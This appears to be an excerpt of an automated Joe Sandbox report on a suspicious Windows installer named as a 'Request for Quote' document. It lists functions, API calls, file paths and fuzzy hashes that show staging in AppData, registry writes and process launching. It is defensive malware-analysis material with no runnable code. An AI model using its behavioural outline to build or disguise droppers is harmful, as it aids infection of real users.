Instruction Fuzzy Hash: 2A41AC72504201DFDB10AF29ED848A63BACFB54315720827FE910B22E0D7799D81DBED

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsk7E96.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsk7E96.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsk7E96.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Strings

C:\Users\user\AppData\Local\Temp\nsk7E96.tmp, xrefs: 00402380, 004023A5, 004023B5, 004023C0

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsk7E96.tmp
API String ID: 1356686001-391870260
Opcode ID: 57df5d2fd497d946e5d44718c2ce9500a544491e1817e3951972c4e7e3852fff
Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
Opcode Fuzzy Hash: 57df5d2fd497d946e5d44718c2ce9500a544491e1817e3951972c4e7e3852fff
Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,?,?,76232EE0,00405792,?,C:\Users\user\AppData\Local\Temp\,76232EE0,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"), ref: 004059EE
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B

CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope,?,00000000,000000F0), ref: 00401630

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope, xrefs: 00401623

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope
API String ID: 3751793516-3359417894
Opcode ID: 9bef887c5d5f536874f37580d62bfdc690f86322df1a9697a894e0e2e9f3eda4
Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
Opcode Fuzzy Hash: 9bef887c5d5f536874f37580d62bfdc690f86322df1a9697a894e0e2e9f3eda4
Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3

GlobalFree.KERNEL32(00000000), ref: 1000181C
FreeLibrary.KERNEL32(?), ref: 10001893
GlobalFree.KERNEL32(00000000), ref: 100018B8

Part of subcall function 100022A1: GlobalAlloc.KERNEL32(00000040,405EA210), ref: 100022D3

Part of subcall function 1000260B: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 1000267D

Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5

Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002559
Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 10002582

Strings

, xrefs: 10001899

Memory Dump Source

Source File: 00000000.00000002.3045189799.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3044841472.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045310307.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3045419469.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction ID: b3d4579510dcbc356f87b8c5eb81e8e4ebd4f83f88234b59d07570181d0aa013
Opcode Fuzzy Hash: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction Fuzzy Hash: 7831BF799043459AFB10DF74DCC5BDA37E8EB043D4F058529F90AAA08EDF74A985C760

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
WriteFile.KERNELBASE(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115

Strings

x>A, xrefs: 004030DE

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$PointerWrite
String ID: x>A
API String ID: 539440098-3854404225
Opcode ID: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
Opcode Fuzzy Hash: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

Function 00405B85 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405BA3
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403358,1033,C:\Users\user\AppData\Local\Temp\), ref: 00405BBE

Strings

nsa, xrefs: 00405B92
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B8A, 00405B8E

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1857211195
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Part of subcall function 00405665: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 806019d01c4059dad2e07343b2bd93566fca4abe4f6ec66dc814e8540e8620d4
Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
Opcode Fuzzy Hash: 806019d01c4059dad2e07343b2bd93566fca4abe4f6ec66dc814e8540e8620d4
Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99

Function 00405108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405137
CallWindowProcW.USER32(?,?,?,?), ref: 00405188

Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D

Strings

, xrefs: 00405118

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69

Function 00405665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
CloseHandle.KERNEL32(?), ref: 00405697

Strings

Error launching installer, xrefs: 00405678

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D

Function 00403326 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 00406208

CreateDirectoryW.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233420,00403512), ref: 00403347

Strings

1033, xrefs: 0040334E
C:\Users\user\AppData\Local\Temp\, xrefs: 00403327, 0040332C, 00403332, 0040333E, 00403346, 0040334D

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-3512041753
Opcode ID: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction ID: 15e16a0f1bb74d2da72680a3c6f5190242cf739030cfb371398593c950d8801c
Opcode Fuzzy Hash: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
Instruction Fuzzy Hash: 65D0C92250693171C55236663E06FCF166C8F4A32AF129077F805B90D6DB7C2A8245FE

Function 00406974 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00406B75 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44

Function 0040688B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44

Function 00406390 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
